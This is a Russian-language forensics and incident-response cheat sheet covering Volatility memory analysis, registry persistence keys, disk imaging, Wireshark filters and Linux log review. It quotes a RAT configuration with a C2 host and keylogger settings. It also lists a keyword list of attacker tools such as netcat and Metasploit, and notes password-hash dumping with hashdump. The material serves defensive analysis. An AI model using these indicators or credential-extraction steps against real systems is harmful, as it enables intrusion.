hacking

forensic

Реагирование на инцидент:

1. Изоляция
2. Снятие дампа RAM + быстрый анализ
3. Первичное исследование (журналы событий и т.д.)
4. Снятие образа НЖМД + быстрый анализ
5. Исследование в лаборатории

RAM

#Утилиты для снятия дампа оперативной памяти:

#DumpIt

#Утилиты для анализа дампов оперативной памяти:

#volatility

#Общие сведения Windows

#Общие сведения Linux

windows

```
#VMware ->                 Microsoft Hyper-V          VirtualBox
- .vmem = raw memory       .bin = memory image        .sav = partial memory
- .vmss                    .vsv = save state          .image
- .vmsn = memory image

[EWF (E01)                 [HPAK                      [QEMU virtual
 -Encase image format]     -FDPro Image]               machines dumps]

#План поиска
1. Подозрительное имя
2. Системный процесс -> подозрительный адрес
3. Число копий (smss.exe, services.exe, lsass.exe, dwm.exe)
4. Запуск системного процесса из под пользователя
5. Скрытые процессы
6. Подозрительные аргументы в командной строке процесса

#VOLATILITY

[КОМАНДЫ]

imageinfo  # информация о сборке ОС

--help pslist # вывод информации о плагине и его ключах

[Процессы]
pslist  # дамп запущенных процессов
psscan  # pslist + скрытые, неактивные процессы
pstree  # дамп запущенных процессов в виде дерева
psxview # сравнение •PspCidTable •Csrss.exe таблица •Csrss.exe связанный список •PsActiveProcessHead связанный лист
•Сканирование EPROCESS pool •СканированиеETHREAD pool


[Network]
sockets     # список сокетов x86 and x64 Windows XP and Windows 2003 (from tcpip.sys)
sockscan    # список сокетов x86 and x64 Windows XP and Windows 2003 (from tcpip.sys)
connections # список активных TCP соединений x86 and x64 Windows XP and Windows 2003 Server (from tcpip.sys)
connscan    # список TCP соединений(включая закрытые) x86 and x64 Windows XP and Windows 2003 Server (_TCP_OBJECT)
netscan     # TCP endpoints, TCP listeners, UDP endpoints, and UDP listeners. 32- and 64-bit Windows Vista, Windows
2008 Server and Windows 7 memory (TCP, UDP endpoints, listeners)
privs       # показывает привилегии запущенных процессов

[malware]

#Общие действия по поиску инжекта dll в процесс:
1. malfind > C:\tmp\1.txt #при обнаружении подозрительного процесса используем malfind и записываем результат в
файл, в файле ищем Pid подозрительного процесса и смотрим Address:0xb70000 (например)
2. maldind -D C:\tmp      # выгружаем все dll в директорию и ищем в поиске ранее найденный адрес (0xb70000),
вероятно он заражен, сканим его в Virustotal или реверсим
3. проверяем каждый дамп в VirusTotal

dlllist -p # смотрим какие dll использует процесс
dlldump -p # выгружает dll из памяти для анализа
malfind -p 688 -D ./ # выполняет поиск скрытых DLL для подозрительных процессов. Для подозрительных процессов были
получены Crash Dump Files. Каждый из полученных файлов необходимо загрузить на VirusTotal и проверить их на наличие
сигнатур
procdump -p 688 -D ./ # вывод файла процесса в .exe для дальнейшего анализа путем реверс инжиниринга
modscan # позволяет получить список ранее выгруженных драйверов и драйверов, которые были скрыты( необходимо
проверить драйвера в интернете)


[Registry]

hivelist   # список путей до куста
hivescan   # список физических адресов кустов реестра
printkey   # значение ключа реестра
hashdump   # получаем хеши всех пользователей в системе
userassist # список последних действия пользователя
timeliner > C:\tmp\time.txt # Создание таймлайна из различных артефактов из следующих источников: процессы , DLLs,
модули, сокеты, ключи реестра. --output=[xlsx, text, body,json, dot, html,sqlite] --output-file=[путь до файла, имя
файла]

cmdline # вывод аргументов с которыми были запущены службы/процессы

consoles # история ввода в консоль ~

cmdscan # выводит команды которые были введены в cmd

envvars # имя сеанса, имя компьютера, имя пользователя

clipboard # буфер обмена (поле data)

apihooks  # Windows API hooking - это процесс, позволяющий перехватывать вызовы функций API. Позволяет
злоумышленникам получить контроль над работой ОС или части ПО.

handles   # Функция CreateProcess возвращает дескрипторы созданного процесса и главного потока. Данные дескрипторы
могут быть унаследованы дочерними процессами. Handles действительны до закрытия потока/процесса.

evtlogs   # извлечение логов винды XP/2003

filescan  # позволяет просмотреть загруженные в память файлы

1. imageinfo # узнаем инф о машине
2. pslist    # смотрим список процессов (при нахождении подозрительного процесса просматриваем ветки реестра)
3. pstree    # смотрим дерево процессов и ищем подозрительнын связи между процессами
```

4. psxview   # равнивает вывод pslist pstree psscan
5. malfind > C:\tmp\1.txt #при обнаружении подозрительного процесса используем malfind и записываем результат в файл, в файле ищем Pid подозрительного процесса и смотрим Address:0xb70000 (например)
6. maldind -D C:\tmp   # выгружаем все dll в директорию и ищем в поиске ранее найденный адрес (0xb70000), вероятно он заражен, сканим его в Virustotal или реверсим
7. cmdscan   # возвращает результаты которые были введены даже через rdp или бэкдор
8. consoles # просматриваем команды введенные пользователем / программы запущенные в консоли
9. connscan # показывает скрытые соединения (после обнаружения подозрительных ip , можно выполнить команду whois для того чтобы получить больше информации)
10. netscan/connections # просматриваем открытые сокеты и процессы их использующие / просматриваем открытые соединения /
11. sockets/sockscan # открытые сокеты процессов
12. после обнаружения вредоносного процесса его можно извлечь с помощью memdump и исследовать с помощью strings в текстовый файл (слова для поиска sid,mutex,netdata,keyname)
MUTEX = {DC_MUTEX-KHNEW06} # Это значение Mutant / mutex, которое используется

SID = {Guest16} # Название кампании

FWB = {0} # Обход брандмауэра (брандмауэр Windows)

NETDATA = {test213.no-ip.info:1604} # C2 * Большинство из них, кажется, 1604, так что это, вероятно, по умолчанию

GENCODE = {F6FE8i2BxCpu} # Не совсем уверен в этом, возможно, в части построения шифрования?

KEYNAME = {MicroUpdate} # Имя ключа реестра

EDTDATE = {16/04/2007} # Используется для манипуляции с отметкой времени

PERSINST = {1} # Постоянство

MELT = {0} # Удалить исходный исполняемый файл или нет

CHANGEDATE = {1} # Используйте EDTDATE для изменения временных отметок $ SI

DIRATTRIB = {6} # Изменить атрибуты каталога, например сделать его скрытым

FILEATTRIB = {6} # Изменить атрибуты файла, например сделать его скрытым

OFFLINEK = {1} # Автономный кейлогинг
11. после того как файл был обнаружен, необходимо проверить его закрепление в системе(реестр)

#Ветки реестра:
[printkey -K 'Software\Microsoft\Windows\CurrentVersion\Run' # самый известный раздел реестра импользуемый для сохранения вредоносных программ
printkey -K "ControlSet001\Control\ComputerName" #по ключу в реестре мы можем узнать имя машины
printkey -K "ControlSet001\Control\ComputerName\ActiveComputerName" #выбираем ключ Active Computer Name
printkey -K "ControlSet001\Services"

Предложенные ключи были агрегированы, а их предшествующая информация, основанная на HKLM \ Software, HKLM \ System, HKCU \ Software и HKCU, была удалена, чтобы их можно было легко написать в сценарии.

- **Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache**
- **Control Panel\Desktop**
- **Control Panel\Desktop\ScreenSaveActive**
- **ControlSet001\Enum\Root\LEGACY_malware\0000**
- **ControlSet001\services\malware**
- **ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List**
- **ControlSet002\services\malware**
- **CurrentControlSet\Control\Session Manager\AppCertDlls**
- **CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache**
- **CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache**
- **CurrentControlSet\Control\SessionManager\Memory Management**
- **CurrentControlSet\Services**
- **Microsoft\Active Setup\Installed Components**
- **Microsoft\DirectPlugin**
- **Microsoft\Internet Explorer\CustomizeSearch**
- **Microsoft\Internet Explorer\Main**
- **Microsoft\Internet Explorer\Main\Default_Page_URL**
- **Microsoft\Internet Explorer\Main\Default_Search_URL**
- **Microsoft\Internet Explorer\Main\HomeOldSP**
- **Microsoft\Internet Explorer \Main\Local Page**
- **Microsoft\Internet Explorer\Main\Search Bar**
- **Microsoft\Internet Explorer\Main\Search Page**
- **Microsoft\Internet Explorer\Main\SearchAssistant**
- **Microsoft\Internet Explorer\Main\SearchURL**
- **Microsoft\Internet Explorer\Main\Start Page**
- **Microsoft\In ternet Explorer\Main\Use Search Asst**
- **Microsoft\Internet Explorer\PhishingFilterDRDC Valcartier TM 2013-17757**
- **Microsoft\Internet Explorer\Recovery**
- **Microsoft\Internet Explorer\Search**
- **Microsoft\Internet Explorer\Search Bar**
- **Microsoft\Internet Explorer\Search\CustomizeSearch**
- **Microsoft\Internet Explorer\Search\SearchAssistant**
- **Microsoft\Internet Explorer\SearchURL**

•Microsoft\Internet Explorer\Toolbar
•Microsoft\Internet Explorer\TypedURLs
•Microsoft\WindowsNT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
•Microsoft\WindowsNT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
•Microsoft\WindowsNT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx
•Microsoft\Windows NT\CurrentVersion\Windows
•Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
•Microsoft\Windows NT\CurrentVersion\Windows\Load
•Microsoft\Windows NT\CurrentVersion\Winlogon
•Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
•Microsoft\Windows NT\winlogon\userinit
•Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
•Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU
•Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU
•Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
•Microsoft\Windows\CurrentVersion\Explorer\RunMRU
•Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
•Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks
•Microsoft\Windows\CurrentVersion\Explorer\UserAssist
•Microsoft\Windows\CurrentVersion\Internet Settings
•Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutodial
•Microsoft\Windows\CurrentVersion\Internet Settings\EnableHttp1_1
•Microsoft\Windows\CurrentVersion\Internet Settings\MaxConnectionsPer1_0Server
•Microsoft\Windows\CurrentVersion\Internet Settings\MaxConnectionsPerServer
•Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
•Microsoft\Windows\CurrentVersion\Internet Settings\ProxyHttp1.1
•Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride
•Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer
•Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
•Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1
•Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2
•Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
•Microsoft\Windows\CurrentVersion\Run
•Microsoft\Windows\CurrentVersion\RunOnce
•Microsoft\Windows\CurrentVersion\RunOnce\Setup
•Microsoft\Windows\CurrentVersion\RunOnceEx
•Microsoft\Windows\CurrentVersion\RunServices
•Microsoft\Windows\CurrentVersion\Ru nServicesOnce
•Microsoft\Windows\CurrentVersion\SharedDLLs58DRDC Valcartier TM 2013-177
•Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
•Microsoft\Windows\CurrentVersion\URL
•Microsoft\Windows\CurrentVersion\URL\DefaultPrefix
•Microsoft\Windows\CurrentVersion\URL\Prefixes
•Microsoft\Windows\ShellNoRoam\MUICache
SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Предложенные автором ключи реестра основаны на следующих корневых разделах реестра:
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\Software
HKEY_LOCAL_MACHINE\System]

mutantscan --- #можно найти связть между различными процессами, для идентификации их взаимодействия

ldrmodules --- #сканирует образ памяти на наличие в памяти признаков несвязанных файлов (таких как DLL), которые могут указывать на подозрительный или вредоносный файл, скрывающийся в памяти.), другие могут скрываться. Запуск этого плагина может помочь найти их. Тем не менее, этот плагин также может найти другие, возможно, скрытые файлы в памяти, включая исполняемые файлы и различные типы библиотек.

userassist ---- #Этот плагин может предоставлять, помимо прочего, информацию из реестра, касающуюся запуска программ и файлов, открытых пользователем

devicetree --- #Плагин Volatility devicetree используется для определения отношений между драйверами и их необходимыми устройствами Windows. При этом может быть возможно определить, какое устройство, и, следовательно,цель злого

-K 'ControlSet001\Services\malware'
REG_DWORD Type : (S) 1
REG_EXPAND_SZ ImagePath : (S) C:\Windows\system32\drivers\winsys32.sys
REG_SZ DisplayName : (S) malware2

Этот ключ представляет зарегистрированный сервис. Значение установлено в «1», которое указывает, что драйвер загружается при инициализации ядра. Это говорит нам о том, что служба «вредоносного ПО», которая указывает на драйвер ядра (C: \ WINDOWS \ system32 \ drivers \ winsys32.sys), запускается при инициализации ядра.

Два легко используемых ПО на основе FOSS для обнаружения и извлечения шифрования включают в себя aeskeyfind6 и

interrogate7. Оба инструмента просты в использовании. Выполнение любой команды покажет, что ключ шифрования AES, используемый этой инфекцией, легко идентифицируется.

#Обнаружение вредрения кода]

vadinfo # дескриптор виртуальных адресов (VAD описывает практически непрерывную область памяти в процессе памяти) , смотрим узлы дескриптора виртуальных адресов, с защитой памяти (Protection) с меткой PAGE_EXECUTE_WRITECOPY или PAGE_EXECUTE_READWRITE

после того как обнаружили подозрительный процесс, с подозрительными метками, нужно использовать плагин volshell для обнаружения исполняемого файла (PE)
Для этого:
volshell
db(vad node @ ...) смотри справа, ищи MZ
так же можно использовать команду "dis" в плагине volshell для дизассемблирования кода находящегося по адресу

[Руткиты в режиме ядра]

modules   # вывод списка модулей ядра

!Большинство модулей запускается из SystemRoot\System32\DRIVERS\

modscan   # сканирует физическое адресное пространство в поисках тега пула (MmLd), связанного с модулем ядра (может обнаружить скрытые модули, напримсер отсоединенные)
unloadedmodules   # отображение списка выгруженных модулей, Плагин может оказаться полезным в ходе расследования для обнаружения попытки руткита быстро загрузить и выгрузить драйвер, чтобы тот не отображался в списке модулей
driverscan   # плагин использует сканирование тегов пула, чтобы найти объекты драйвера в физическом адресном пространстве. Плагин driverscan – это еще один способ перечисления модулей ядра, который может быть полезен, когда руткит пытается скрыться от плагинов modules и modscan

Стандартные процессы

[[Описание стандартных процессов Windows]]
#1. System (отвечает за большинство потоков в режиме ядра)
Расположение: N/A
Родительский процесс: -
Число экземпляров: 1
Пользователь: Local System
Время запуска: Старт системы

#2. smss (Session Manager process отвечает за создание новых сессий)
Расположение: %SystemRoot%\System32\smss.exe
Родительский процесс: System
Число экземпляров: 1 мастер + 1 за сессию
Пользователь: Local System
Время запуска: Секунды после старта Системы(для мастер)

#3. csrss (Client/Server Run-Time Subsystem отвечает за управление процессами,импорт DLL, завершение работы GUI)
Расположение: %SystemRoot\System32\csrss.exe
Родительский процесс: Экземпляр smss
Число экземпляров: 2 и более
Пользователь: Local System
Время запуска: Секунды после старта Системы (первые 2 процесса)

#4. services (отвечает за Service Control Manager)
Расположение: %SystemRoot\System32\services.exe
Родительский процесс: wininit
Число экземпляров: 1
Пользователь: Local System
Время запуска: Через секунду после старта Системы

#5. svchost (общий хост-процесс для служб Windows)
Расположение: %SystemRoot\System32\svchost.exe
Родительский процесс: services
Число экземпляров: 5 и более
Пользователь: Local System, Network Service, Local Service
Время запуска: Через секунду после старта Системы

#6. lsm (Local Session Manager управляет терминальными службами(сеансы удаленного рабочего стола)
Расположение: %SystemRoot\System32\lsm.exe
Родительский процесс: wininit
Число экземпляров: 1
Пользователь: Local System
Время запуска: Через секунду после старта Системы

#7. explorer (обеспечивает доступ пользователей к файлам)
Расположение: %SystemRoot\System32\explorer.exe
Родительский процесс: экземпляр userinit.exe
Число экземпляров: 1 для каждого logged-on пользователя
Пользователь: logged-on пользователь
Время запуска: После аутентификации

#8. iexplore (Браузер)
Расположение: \Program Files\Internet Explorer\iexplore.exe
Родительский процесс: Explorer
Число экземпляров: любое
Пользователь: Logged-on пользователь
Время запуска: Когда пользователь запускает Internet Explorer

#9. Winlogon (Управляет пользовательскими logon и logout)
Расположение: %SystemRoot%\System32\winlogon.exe
Родительский процесс: Экземпляр smss.exe
Число экземпляров: 1 и более
Пользователь% Local System
Время запуска: Через секунды после запуска Системы (для первого экземпляра)

#10. lsass (Local Security Authentication Subsystem Server отвечает за аутентификацию пользователей)
Расположение: %SystemRoot%\System32\lsass.exe
Родительский процесс: wininit
Число экземпляров: 1
Пользователь: Local System
Время запуска: Через секунды после старта Системы

#11. taskhost (общий хост-процесс для задач Windows)
Расположение: %SystemRoot%\System32\taskhost.exe
Родительский процесс: Services
Число экземпляров: 1 и более
Пользователь: Logged-on пользователи уч. Записи локальных служб
Время запуска: Различное

#12. wininit (запускает ключевые фоновые процессы Session 0)
Расположение: %SystemRoot%\System32\wininit.exe
Родительский процесс: Экземпляр smss.exe
Число экземпляров: 1
Пользователь: Local System
Время запуска: Через секунды после старта системы

linux

[Создание профиля Linux:]

1. скачать профиль с гитхаба
2. разместить zip-архив в папке "/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/linux"
3. проверить наличие профиля с помощью команды "volatility --info"

https://github.com/volatilityfoundation/profiles # профили Linux и Mac

https://github.com/halpomeranz/lmg

https://www.evild3ad.com/3571/creating-volatility-linux-profiles-debianubuntu/

https://code.google.com/archive/p/volatility/wikis/LinuxMemoryForensics.wiki

https://github.com/KDPryor/LinuxVolProfiles #некоторое количество профилей

[снятие RAM]

https://github.com/halpomeranz/lmg/ # который не требует установки и который можно запускать, к примеру, с флешки
https://github.com/504ensicsLabs/LiME

[Анализ RAM]

#В рамках самой операционной системы мы будем обращать особое внимание в первую очередь:

-на список пользователей, группы, привилегии;
-запущенные от имени root процессы;
-задачи, запускаемые по расписанию (cron jobs);
-файлы с установленным битом SUID и SGID;
-состав файла /etc/sudoers;
-скрытые файлы и директории;
-файлы, открытые на чтение в системе;
-сетевые интерфейсы, соединения, порты, таблицу маршрутизации;
-логи iptables, fail2ban (Reports, Alarms, Alerts);
-конфигурацию /etc/ssh/sshd_config;
-логи демона Syslog (проверим на типичные алерты);
-состояние SELinux;
-список загруженных модулей ядра.

[Основные плагины Volatility]

```
linux_arp                   #вывод arp-таблицы
linux_banner                #вывод информации о системе
linux_bash                  #вывод введенных команд в bash
linux_bash_env              #Recover a process' dynamic environment variables
linux_bash_hash             #Recover bash hash table from bash process memory
linux_check_tty             #Checks tty devices for hooks
linux_cpuinfo                       #вывод информации о процессоре системы
linux_dmesg                 #DMESG:)
linux_elfs                  #Find ELF binaries in process mappings
linux_enumerate_files       #Lists files referenced by the filesystem cache
linux_find_file             #Lists and recovers files from memory
linux_getcwd                #Lists current working directory of each process
linux_hidden_modules        #Carves memory to find hidden kernel modules
linux_ifconfig              #вывод активных интерфейсов
linux_info_regs             #It's like 'info registers' in GDB. It prints out all the
linux_kernel_opened_files   #Lists files that are opened from within the kernel
linux_list_raw              #List applications with promiscuous sockets
linux_lsmod                 #загруэенные модули ядра
linux_lsof                  #Lists file descriptors and their path
linux_malfind               #Looks for suspicious process mappings
linux_mount                 #вывод информации о смонтированных фс и девайсах
linux_mount_cache           #вывод информации о смонтированных фс и девайсах из kmem_cache
linux_netfilter             #Lists Netfilter hooks
linux_netscan                       #инф о подключениях
linux_netstat                       #инф об открытых сокетах
linux_procdump              #дамп процессов в папку
linux_psaux                   #Gathers processes along with full command line and start time
linux_pslist                #Gather active tasks by walking the task_struct->task list
linux_pslist_cache          #Gather tasks from the kmem_cache
linux_psscan                #Scan physical memory for processes
linux_pstree                #Shows the parent/child relationship between processes
linux_psxview               #Find hidden processes with various process listings
linux_route_cache           #Recovers the routing cache from memory
linux_strings               #Match physical offsets to virtual addresses
linux_truecrypt_passphrase  #Recovers cached Truecrypt passphrases
linux_check_creds           #Checks if any processes are sharing credential structures
linux_check_tty             #Checks tty devices for hooks
linux_library_list          #Lists libraries loaded into a process
linux_librarydump           #Dumps shared libraries in process memory to disk
linux_proc_maps             #Gathers process memory maps
```

Mac os

HDD/SSD

#Утилиты для снятия дампа жесткого диска

dd (Linux)
FTK Imager

Windows

#Алгоритм создания образа жесткого диска:

1.Блокируем на запись НЖМД
2. Создаем образ -> Access Data FTK Imager
3.Считаем контрольную сумму файла с помощью AccessData FTK Imager

[Полезные утилиты]
http://www.nirsoft.net/utils/shadow_copy_view.html #позволяет найти теневые копии файлов
https://github.com/Neo23x0/Loki   # Очень толковый сканер для обнаружения самых незаметных индикаторов компрометации(IOC)

#Основные источники доказательств:

Реестр операционной системы

#•Основные разделы:
- HKLM\SYSTEM
- HKLM\SOFTWARE
- HKLM\SAM
- HKLM\SECURITY

#Системные события
#•Файлы системных журналов
-Windows XP (\Windows\System32\config*.evt)
•SysEvent.evt (измененния в системе)
•AppEvt.evt (события приложений)
•SecEvent.evt (события безопасности)

#-Windows Vista и выше (\Windows\System32\winevt\Logs*.evtx)
•System.evtx (измененния в системе)
•Application.evtx (события приложений)
•Security.evtx (события безопасности)

#История браузеров
#•Mozilla Firefox
- Windows XP: \Documents and Settings\[user]\Application Data\Mozilla\Firefox\Profiles\places.sqlite
- Windows Vista и выше: \Users\[user]\AppData\Mozilla\Firefox\Profiles\places.sqlite
#•Google Chrome
- Windows XP: \Documents and Settings\[user]\Local Settings\Application Data\Google\Chrome\ (Файлы History, Archived History)
- Windows Vista и выше: \Users\[user]\AppData\Local\Google\Chrome\User Data\Default\ (Файлы History, Archived History)
#•Internet Explorer
- Windows XP: \Documents and Settings\[user]\Local Settings\index.dat
- Windows Vista и выше: \Users\[user]\AppData\Local\Microsoft\Windows\History

Артефакты
#1. Подключение USB-устройств
•SYSTEM
•SOFTWARE
•NTUSER.DAT
•Amcache.hve
•Журналы событий (C:\Windows\System32\winevt\Logs)
•Журналы Setup API (C:\Windows\INF)
#2. Подключение по RDP
• Security.evtx(ID 4624, 4625, 4778, 4779, 4634, 4647)
• Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx(ID 1149, 21, 22, 23, 24, 25, 39, 40)
#3. Следы запуска в Prefetch и UserAssist
#4. Следы закрепления
•NTUSER.DAT -> Microsoft\Windows\CurrentVersion\Run
•NTUSER.DAT -> Microsoft\Windows\CurrentVersion\RunOnce
•SOFTWARE -> Microsoft\Windows\CurrentVersion\Run
•SOFTWARE -> Microsoft\Windows\CurrentVersion\Run
•C:\Users\<profile>\AppData\Roaming\Microsoft\ Windows\StartMenu\Programs\Startup
•C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
•C:\Windows\System32\Tasks\Task_Name
•Microsoft-Windows-TaskScheduler%4Operational.evtx(ID 106 140 141)
•Security.evtx(ID 4697) - Сервисы
•System.evtx(ID 7034 7035 7036 7040 7045)
•C:\WINDOWS\system32\wbem\Repository\OBJECTS.DATA
#5. Следы закрепления
•NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

Linux

```
fdisk -l # проверяем диски подключенные к системе
md5sum / sha1sum # снимаем хеш с исследуемого диска для сравнения
mkdir /mnt/testDisk # создаем директорию для исследуемого диска
mount -t ntfs-3g -o ro /dev/sdb2 /mnt/testDisk # подключение исследуемого диска в режиме только чтение

umount /mnt/testDisk # отключение исследуемого диска перед снятием криминалистического образа
mkfs.ntfs /dev/sda1 # форматируем диск на который будем делать криминалистический образ
mount -t ntfs-3g -o rw /dev/sda1 /mnt/testDisk # монтируем диск на который будем делать криминалистический образ
dd if=/dev/sdb of=/mnt/testDisk.dd status=progress # создание криминалистического образа
```

[утилиты для поиска руткитов в системе]

```
http://rkhunter.sourceforge.net
http://www.chkrootkit.org
https://www.clamav.net
```

[Снятие hdd]

```
dd  # снимаем в лайве, не забывай про монтирование ro
dc3dd
dcfldd   # dcfldd if=/dev/sda1 hash=md5 of=/media/forensic_disk_image.dd bs=512 noerror
```

NETWORK

Network forensics, как понятно из названия, имеет отношение к расследованиям в области сетевого стека — например, дампу и парсингу сетевого трафика для выявления таких интересных вещей, как RAT, reverse shell, backdoor-туннели и тому подобное.

Этапы:

[1. Сбор данных]

Захват трафика:

1. Аппаратные средства
2. Программные стредства

Выгрузка журналов

1. DNS, DHCP
2. Почтовый сервер (SMTP,POP,IMAP)
3. HTTP(S)-proxy, сервер Web-приложений(Web-сервер)
4. Периметр IDS/IPS, Netflow
5. Журналы сетевого оборудования (панель мониторинга)
6. Журналы с рабочих станций и серверов

#Wireshark

```
http.request.method==GET        --- все HTTP - GET запросы
http.request.method==POST       --- все HTTP - POST запросы
http && ip.dst==<IP>            --- все HTTP пакеты на IP адрес
http && ip.src==<IP>               --- все HTTP пакеты от IP адрес

file -> export objects -> http  --- все ресурсы переданные по http

dns.response_to                 --- все ответы от DNS сервера на запросы
dns.a                                                --- все ответы от DNS сервера на запроса A - записей (IPv4)
dns.aaaa                                  --- все ответы от DNS сервера на запросы AAAA - записей
dns.flags.authoritative==1      --- все авторитетные ответы DNS серверов
ip.addr == <IP>                 --- сортировка по ip
```

Linux

[Начальная оценка]

Вопросы задаваемые клиенту (после беседы):

#Временная шкала
По возможности необходимо попытаться связать инцидент с определенным промежутком времени. В зависимости от характера инцидента промежуток не всегда возможно установить, но это следует попытаться сделать в той мере, в которой позволяет ситуация. В некоторых делах вам удастся сузить промежуток времени до определенного дня или даже нескольких часов, тогда как в других – этот период может охватывать несколько лет. Каким бы ни было дело, постарайтесь как можно точнее установить период инцидента. Ошибка на этом этапе может серьезно повлиять на остальную часть расследования.

#Топология сети
Установите схему расположения и соединения сетевых устройств.
Я еще никогда не был в ситуации, когда у клиентов отсутствовала хотя бы общая схема компьютерной сети, поэтому не забудьте попросить ее у них.

#Поток данных
Получив схему сети, убедитесь, что вы понимаете поток данных. Где находятся точки входа и выхода? Какие еще компьютеры находятся в той же подсети? Если вы имеете дело с доменом Windows, имеются ли междоменные доверия, позволяющие получить доступ к другим доменам? Необходимо понимать не только, какие компьютеры вовлечены в инцидент, но также и какие компьютеры могли бы быть вовлечены в инцидент. Многие клиенты определяют область инцидента только со слов сотрудников ИТ-отдела и не видят всей картины. Ваша задача – включить в область расследования все компьютеры, которые потенциально могли быть вовлечены в инцидент. Вы сможете определить, были ли они вовлечены, позднее, во время анализа журналов.

#Устройства безопасности
Узнайте какие устройства имеются в сети клиента и ведется ли на них протоколирование. Легко говорить о рекомендациях по безопасности, но реализовать их на практике удается не всегда. Многие клиенты знают, что нужно вести журналы регистрации событий, но не делают этого. Они хотели установить систему обнаружения вторжений или систему предотвращения вторжений в сеть, но на это не было средств. Вам необходимо выяснить, какие устройства безопасности имеются у клиента, где они установлены в сети и какие действии они регистрируют. Попросите клиента предоставить вам имеющиеся журналы регистрации событий.

#Состояние компьютеров, вовлеченных в инцидент
Это еще один из тех вопросов, в которых клиент может плохо разбираться. Я расследовал несколько дел, в которых мне говорили одно, например, что перезагрузка определенного компьютера не выполнялась, а, прибыв на место инцидента, я узнавал, что все совсем не так. Поэтому, даже если вы задавали вопросы перед прибытием на объект клиента, вам нужно будет задать их снова и по возможности проверить правильность ответов. Эта информация может повлиять на направление расследования.

#Обычный ход деятельности
Насколько это возможно, необходимо понять, что является «обычным» для клиента. Расследуя инцидент, вы, скорее всего, впервые будете иметь дело с инфраструктурой клиента. Вы не будете иметь представления о том, какое используется правило формирования идентификаторов пользователей, какой объем информации передается по сети в среднем за день, какие компьютеры обычно обмениваются данными друг с другом, и еще буквально о сотне потенциальных переменных, составляющих обычный рабочий день. Чтобы провести любой тип предварительного анализа, вам нужно насколько это возможно разобраться в этих вопросах.

[Анализ журналов]
grep
tail
tail -f
less
strings
(поиск по ключевым словам)

Ключевые слова для поиска инструментов
· msf (платформа Metasploit Framework)
· select
· insert
· dump
· update
· nmap
· nessus
· nikto
· wireshark
· tcpdump
· kismet
· airsnarf
· paros
· hping2
· ettercap
· aircrack
· aircrack-ng
· airsnort
· nc (netcat)

[Анализ действий пользователей]

.bash_history

```
echo $HISTSIZE
можно использовать скрипты для анализа всей системы на открытые порты/файлы с правами на чтение-запись/ т.д.
(linenumsh) https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
```

[Пользователи, вошедшие в систему]

```
"w"
```

[Сетевые подключения]

```
netstat -rn    # таблица маршрутизации
netstat -an    # активные подключения
```

[Запущенные процессы]

```
ps aux
top
```

[Открытые программы обработки файлов]

```
lsof

#Чтобы перечислить открытые файлы Интернета, x.25 (HP-UX) и файлы домена UNIX, используйте:
lsof -i -U
#Чтобы перечислить все открытые сетевые файлы IPv4, используемые процессом с идентификатором (PID) 1234,
используйте:
lsof -i 4 -a -p 1234
#Чтобы перечислить только открытые сетевые файлы IPv6 (при условии, что диалект UNIX поддерживает IPv6),
используйте:
lsof -i 6
#Чтобы перечислить все файлы, используемые любым протоколом на портах 513, 514 или 515 хоста
wonderland.cc.purdue.edu, используйте:
lsof -i @wonderland.cc.purdue.edu:513-515
#Чтобы перечислить все файлы, используемые любым проколом на любом порту mace.cc.purdue.edu (cc.purdue.edu - домен
по умолчанию), используйте:
lsof -i @mace
#Чтобы перечислить все файлы для имени пользователя «abe» или идентификатора пользователя 1234, или процесса 456,
или процесса 123, или процесса 789, используйте:
lsof -p 456,123,789 -u 1234,abe
#Чтобы перечислить все открытые файлы на устройстве /dev/hd4, используйте:
lsof /dev/hd4
#Чтобы найти процесс, открывший файл /u/abe/foo, используйте:
lsof /u/abe/foo
```

[/proc fs]

```
Вот краткое описание содержимого тех файлов, которые могут иметь важное значение в расследовании инцидента.

#cmdline
Этот файл содержит параметры ядра, которые были переданы как опции загрузки. В
нашей системе «cat /proc/cmdline» показывает:
ro root=/dev/VolGroup00/LogVol00 rhgb quiet
Эти данные служат для того чтобы идентифицировать корневой раздел
(/dev/VolGroup00/LogVol00), монтировать его только для чтения во время загрузки (ro) и
запустить экран графического представления процесса загрузки RedHat Graphical Boot
(rhgb), не отображая несущественные сообщения ядра на экране (quiet).

#cpuinfo
Этот файл содержит информацию обо всех процессорах в компьютере. Эти данные
важны, если вы применяете инструменты, которые восприимчивы к многопроцессорной
среде, вопросам порядка записи байтов, или они скомпилированы для архитектуры
процессора, отличной от той, которую вы используете в настоящий момент.

#diskstats
Это одно из двух мест, в котором доступны статистические данные о накопителе в
системе, работающей на ядре Linux 2.6. Для вас, вероятно, наибольший интерес будут
представлять поля номер шесть и десять, которые показывают число считанных секторов
и число записанных секторов соответственно.
